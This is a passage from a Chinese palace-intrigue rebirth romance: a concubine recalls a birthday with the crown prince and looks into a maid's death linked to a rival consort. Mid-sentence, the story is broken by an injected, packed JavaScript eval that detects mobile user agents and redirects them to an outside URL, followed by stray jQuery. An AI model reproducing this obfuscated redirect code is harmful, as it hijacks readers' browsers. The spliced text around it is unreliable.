去沈瑗那里?
姜韵宁已经被萧砚辞独宠了许多年,脑子转了一下,才想起来。
萧砚辞是注重礼制之人,每逢十五要去沈瑗那里,每逢初一要去叶凝云那里,在东宫时是雷打不动的规矩。
他登基后建安帝病故,太后又不怎么管事,无人拿孝道压他,他就不怎么坚持了。
姜韵宁一下子心中有些酸涩。
她已经在刻意忽略这些细节了,但是事实却总是在她毫无防备的时候来这样一下,提醒她,如今的萧砚辞,并不是那个独宠她的帝王。
姜韵宁眸中水雾氤氲,眼圈有些红,低声回答道:“妾身知道了。”
像是被霜打了的茄子。
萧砚辞能提醒她到这里,已经尽了太子的义务,不会再安慰她这些失落的小情绪。
她应该知道,自己嫁的是太子,未来他登基后,后宫中会有更多的嫔妃,每个人伤心流泪他都要安慰一番,那就是不合格的帝王。
身为嫔妃,应该学会自己调节情绪。
萧砚辞走了。
姜韵宁坐回床榻上,怔怔地看着窗外。
清辉满盈地悬在墨色天幕上,轮盘的圆月似玉盏磨得莹润。
果然,月亮已经圆满了。
姜韵宁只能用上辈子萧砚辞对自己的好来麻痹自己,思绪万千,最终沉沉的睡去了。
梦中,姜韵宁回到了两个人在东宫相处时。
姜韵宁不记得自己的生辰,柳妈妈告诉她说是十一月十五,姜韵宁便按照这个来过。
说是过生日,舞班中人员众多,柳妈妈能做的最多的,就是给她做一碗长寿面,添一件新发簪。
成为萧砚辞的侍妾之后,姜韵宁第一次过生日不在舞班,她告诉了萧砚辞自己的生日,原本以为他去了沈瑗那里以后,就不会记得她了,所以当天晚上伤心的直接睡了。
结果萧砚辞却突然把她叫醒,把她带出宫去,看了当夜的烟花。
萧砚辞说,这是她在东宫过的第一个生日,要让她过得开心。
姜韵宁不知道萧砚辞是怎么跟沈瑗说的,也无暇顾及那些了,她当即踮起脚尖热情地亲吻了他。
两个人在塔楼上拥吻,是姜韵宁每次想起来都觉得甜蜜的画面。
只是过后姜韵宁想留宿萧砚辞,特意在温泉池中勾引他过来,但是他却只是君子般的与她一起洗了澡,并没有任何出格的举动。
姜韵宁缠着他,闹他,但是他却说她还小,刚生辰,不忍心让她疼痛。
可是距离她刚入东宫的那个夜晚已经两个月了,对于疼痛的记忆已经消散,加上姜韵宁早已做好心理准备,因此死活不肯罢休。
她抱紧他的腰,不停地在他身上摩挲,甚至大胆地想伸手向下探索。
最终萧砚辞只能忍着额头上的青筋,拉着她的手,往下进行了一些。
姜韵宁在温泉的热气氤氲中,脸颊红红的,期待着萧砚辞的身体。
萧砚辞认为她太缠人,饶有兴味地看她撒娇,听她小声哼哼,看她长发与自己的头发交缠,用指尖玩弄她的头发。
等她实在着急,就稍微给她一点点甜头,吊着她往下进行。
到最后皮肤都泡皱了,萧砚辞轻啄她的唇瓣,咬了她一口,还是没有做到最后。
只是那个时候,姜韵宁已经没有力气再打他缠他,问他为什么不进行到最后,她累得只想闭上眼倒头就睡。
见她困得倒在自己身上,萧砚辞垂眸轻笑,坏心眼地问她还要不要继续。
她都要睡着了,继续什么啊!
姜韵宁娇嗔她一眼,骂他是柳下惠转世,萧砚辞也不辩驳,只说等日后她就知道了,自己到底是不是柳下惠。
姜韵宁将脸埋在他颈间,沉沉的睡去,不知道自己是如何被抱出温泉,又如何回到东宫的床榻上的。
那是姜韵宁与萧砚辞度过的第一个生辰。
第二日阳光照在身上,姜韵宁是笑着醒的。
只是梦里太过美好,一想到今天萧砚辞就要去沈瑗那里,她脸上的笑容就顿时凝固了。
沈瑗...
姜韵宁印象中的沈瑗一向温柔,可是昨日李杉芙言语之间却认为自己丫鬟的死与沈瑗有关系。
姜韵宁想不到沈瑗去害一个丫鬟的理由。
一个是侧妃,一个是良娣的丫鬟,两个人完全没有竞争关系。
就算沈瑗想获得萧砚辞的宠爱,那也应该是和太子妃争宠。
太奇怪了。
姜韵宁决定去找李杉芙。
前世李杉芙的性子直来直去,对进宫的这些侍妾嫔妃们一视同仁,做事情很有自己的原则。
曾经有几次为姜韵宁出过头,说了几句公道话,两个人一来二去,就熟了起来。
这次去找李杉芙,姜韵宁已经记得自己要掩饰一下了,她特意让如意去找丫鬟带路,来到了李杉芙的院子。
进去时,她正穿着一身利落的窄袖束腰装扮,抬手出拳,屈膝踢腿,练着武功呢。
想到这里,姜韵宁就想起上辈子的乌龙事件。
那是给太后准备寿礼时,姜韵宁没什么身家,只能准备一支舞献上,而李杉芙也恰好准备了才艺,两个人在花园中遇到,李杉芙问起来,却听成了她也会武,立即高兴地拉着她,兴致勃勃得让她来一段。
姜韵宁也以为她会舞,想着两个人的舞种不要撞了,于是演示了一段。
等演完,李杉芙就略微有些嫌弃地说:“我还当是什么武功,原来是这种舞蹈啊。”
姜韵宁理解,沉浸于武学的刚劲的人,肯定会觉得舞蹈过于柔和的。
李杉芙看到昨日新进的侍妾过来找自己,却完全没心情理她,继续着下一个动作,让丫鬟把姜韵宁赶走。
“我没空见你,你走吧!”
姜韵宁了解她的为人,开门见山问出了自己想问的话:“你的丫鬟怎么死的?”
李杉芙的动作顿了一下,有些不耐烦:“与你何干,你不过一个刚来的侍妾,好奇这些事情对你没有好处。”
姜韵宁走近两步:“我不是好奇,而是我想知道,你为什么会觉得这件事情与沈瑗有关系?”
新来的侍妾,不去太子妃、侧妃那里寻求庇佑就算了,这会儿竟然还直呼侧妃的名字。
李杉芙终于停了下来,丫鬟给她递上手帕擦汗。
她走到姜韵宁身边,眯了眼睛:“你跟沈瑗什么关系?”
姜韵宁想起前世她递给自己酒杯的模样,再联想到上辈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224027|197533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子和现在的李杉芙都对沈瑗有莫名的敌意,那她就不能再把沈瑗当做完全无害之人了。
“在永安寺时,沈瑗的丫鬟曾经阻拦了厨房给我送晚饭。”
姜韵宁没说其他的,只是陈述了这一事实,但是李杉芙好像已经懂了,她嗤笑一声:“这么低级的手段,也只有她喜欢用。”
李杉芙再看向姜韵宁时,眼中的警惕之色已经少了一些。
她把姜韵宁带到院子后面的一处井,抬了抬下巴:“喏,就是这里,她就是从这里面被发现的。”
姜韵宁看着这口井,井口略微狭窄,稍胖的人都不可能随意就摔倒摔进去。
除非那个丫鬟非常瘦。
李杉芙语气沉重:“她刚好是很瘦的体型,所以当时我也以为她是失足,但是前两天才从一处角落发现了她写给家人的信,说要过两天回去探望。”
“而且她一向小心翼翼,知道井的危险,我也不让她靠近,打水都是用的太监,她怎么会这么不小心就掉进去了呢?”
但这还是跟沈瑗没有关系。
李杉芙带着姜韵宁走到房屋内,沏上两壶茶,这才继续道:“唯一奇怪的是,在她出事的前两天,曾经想要暗示我沈瑗与外人有某种不可告人的秘密与联系。”
“毕竟你知道的,沈瑗是侧妃,也管了一些宫内宫外的事情,有时候与外人有一些联系很正常,加上她又语焉不详,所以说的非常模糊,我也没在意。”
姜韵宁听懂了,其实与沈瑗是否有关,李杉芙也只是猜测。
姜韵宁同样觉得无力:“那你只是凭这个就去找太子妃,她肯定不会为你做主。”
说起太子妃,李杉芙气得捶了一下桌子:“这个叶凝云,真是死板,要她去调查一下沈瑗近期都干了什么,她也推三阻四!”
“实际上还不是因为死的不是她的丫鬟!”
虽然丫鬟之死这件事可能就这样结束了,但是姜韵宁却得到了重要的消息,那就是沈瑗可能与外人在接触。
什么外人呢?
姜韵宁忽然想回房间梳理一下上辈子的记忆,再没心情与李杉芙闲聊。
李杉芙同样不想再说这个话题,当即送客。
走在东宫的廊道上,如意觉得自家小主对侧妃有些过于关注了,有些忧心地在旁边提醒:“小主,您刚入东宫,各位娘娘们之间的恩怨,咱们还是不要太关注了。”
姜韵宁点头,她当然知道,如果不是要看清沈瑗的真面目,她才不会关心其他人,不论是现在的东宫,还是日后的后宫,只要有萧砚辞的宠爱,其他任何东西都是虚的。
回到自己的院子,姜韵宁让如意注意着外面,自己则拿出了手札。
她开始回想上辈子自己有没有忽视什么细节。
翻到后面的乌龟时,她忽然想到,上辈子自己还是侍妾时,因为一件小事被沈瑗罚跪了。
刚好那段时间萧砚辞被建安帝安排了公务,不在京城,她无人诉苦,在手札上写着要给她下巴豆。
她故意记在有乌龟的那一页,就是为了自己之后还记得。
遗憾的是,后来她不经常用手札,这件事就算记了下来,也忘了。
当时是因为什么事情,能让一向温和的沈瑗责罚自己呢?